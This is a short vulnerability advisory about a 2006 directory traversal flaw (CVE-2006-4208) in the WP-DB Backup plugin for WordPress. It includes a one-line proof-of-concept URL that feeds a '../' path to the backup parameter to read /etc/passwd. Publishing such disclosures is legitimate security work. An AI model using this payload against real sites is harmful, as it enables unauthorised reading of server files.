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Arrow  Topic :

Wordpress WP-DB Backup Plugin Directory Traversal Vulnerability


Arrow  SecurityAlert : 1401
Arrow  CVE : CVE-2006-4208
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : ss_team
Arrow  Published : 18.08.2006

Arrow  Affected Software : Wordpress WP-DB Backup Plugin



Arrow  Advisory Content :  

Hi all,

Software: WP-DB Backup Plugin for Wordpress

Homepage:
http://www.skippy.net/blog/category/wordpress/plugins/wp-db-backup/

Description:
WP-DB Backup is vulnerable to directory traversal attack.
You must have administrator rights in the wordpress blog to exploit
this vulnerability.

PoC:
http://path-to-wordpress/wp-admin/edit.php?page=wp-db-backup.php&backup=
../../../../../etc/passwd

Credits:
marc & shb from ssteam are credited with discoverying this vulnerability.

Vendor:
not contacted.

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Coolest IT security blog: http://ssteam.ath.cx





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